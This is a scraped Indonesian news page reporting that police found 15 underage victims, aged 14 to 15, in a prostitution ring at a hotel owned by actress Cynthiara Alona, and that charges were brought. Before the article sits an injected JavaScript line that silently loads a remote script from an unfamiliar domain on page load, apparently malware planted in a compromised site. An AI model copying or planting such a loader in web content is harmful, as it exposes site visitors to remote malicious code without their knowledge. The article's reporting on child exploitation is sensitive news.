(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
selebriti

Polisi Ungkap PSK di Hotel Cynthiara Alona Masih di Bawah Umur


KANALKALIMANTAN.COM – Kabid Humas Polda Metro Jaya Kombes Pol Yusri Yunus mengungkapkan Pekerja Seks Komersial (PSK) di hotel milik artis Cynthiara Alona masih di bawah umur.

Hal tersebut disampaikan Yusri Yunus dalam jumpa pers yang digelar di Mapolda Metro Jaya, Jumat (19/3/2021).

“Kami sepakat, 15 orang ini adalah korban. Semuanya anak di bawah umur yang rata-ata umurnya 14 sampai 15 tahun,” kata Yusri Yunus.

Baca Juga:
Sempat Dapat Lahan di RO Ulin, PKL Subuh Ditolak Warga, Dua Nama Wakil Rakyat Terseret

 

Tak hanya itu, Yusri Yunus juga mengungkap jaringan prostitusi tersebut saling berkaitan satu sama lain. Cynthiara Alona dikatakan tahu akan kegiatan prostitusi di hotelnya.

Dia bahkan menyediakan tempat prostitusi agar pengunjung hotelnya tidak sepi. Dia bekerjasama dengan mucikari dan oknum lainnya.

Artis Cynthiara Alona dihadirkan dihadapan awak media saat rilis kasus prostitusi online di Polda Metro Jaya, Jakarta Selatan, Jumat, (19/3/2021). [Suara.com/Alfian Winanto]

“Modusnya adalah ini para pelaku kerjasama. Mulai dari mucikari, sampai ke pengelola hotel sampai ke pemilik hotel. Kenapa keterlibatan pemeliki hotel? Dia mengetahui,” ujar Yusri Yunus.

Uang yang didapat dari praktik tersebut akan dibagi-bagi sesuai kesepakatan.

“Tarif yang dia terima melalui MiChat Yanti Rp 400.00 sampai Rpi 1 juta, nanti di bagi-bagi. Apakah cuma satu kali? Lebih. Bahkan ada yang lebih dari satu kali untuk melayani satu-satu para hidung belang,” sambungnya lagi.

Baca Juga:
BREAKING NEWS. Pemilik Lahan Protes, PKL Subuh Dibubarkan

Atas kasus itu, Cynthiara Alona bersama dua tersangka lain dijerat dengan Pasal 88 UU No 35 tahun 2014 atas perubahan UU 23 tahun 2002.

“Ancamannya minimal 10 tahun kurungan penjara,” ujar Yusri Yunus.

Seperti diketahui, Hotel Cynthiara Alona berada di lokasi Larangan, Tangerang. Sebagai pemilik, Cynthiara Alona diperiksa pada Kamis (18/3/2021) dini hari.

Setelah itu dia pun langsung ditetapkan sebagai tersangka dan ditahan di Polda Metro Jaya. (suara.com)


Al Ghifari

Recent Posts

Pemkab Kapuas Salurkan Bantuan Kemanusiaan Lewat APKASI

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menyalurkan bantuan kemanusiaan bagi masyarakat terdampak bencana banjir… Read More

5 jam ago

New CRETA Alpha Resmi Mengaspal, Hyundai Tawarkan Value Kompetitif

KANALKALIMANTAN.COM, JAKARTA — PT Hyundai Motors Indonesia (HMID) memulai gebrakan di awal tahun dengan meluncurkan… Read More

8 jam ago

Pemkab Banjar Buka Call Center untuk Koordinasi Lintas Sektor Penanganan Banjir

KANALKALIMANTAN.COM, MARTAPURA - Dinas Sosial Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk dan Keluarga Berencana (Dinsos… Read More

12 jam ago

Gubernur Muhidin Melantik 11 Pejabat, Ini Nama-namanya

KANALKALIMANTAN.COM, BANJARBARU – Gubernur Kalimantan Selatan H Muhidin melantik 11 pejabat pimpinan tinggi pratama lingkup… Read More

15 jam ago

Hadiri Rapat Paripurna, Wabup Dodo : Sinergi DPRD dengan Pemerintah Daerah

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas, Dodo menghadiri Rapat Paripurna Ke-10 Masa Persidangan III… Read More

17 jam ago

Tidur Bertahan Hidup di Atas Apar-Apar, Banjir Kabupaten Banjar Meluas

KANALKALIMANTAN.COM, MARTAPURA – Selama sepekan lebih, warga Desa Sungaitabuk Keramat, Kecamatan Sungai Tabuk, Kabupaten Banjar,… Read More

17 jam ago

This website uses cookies.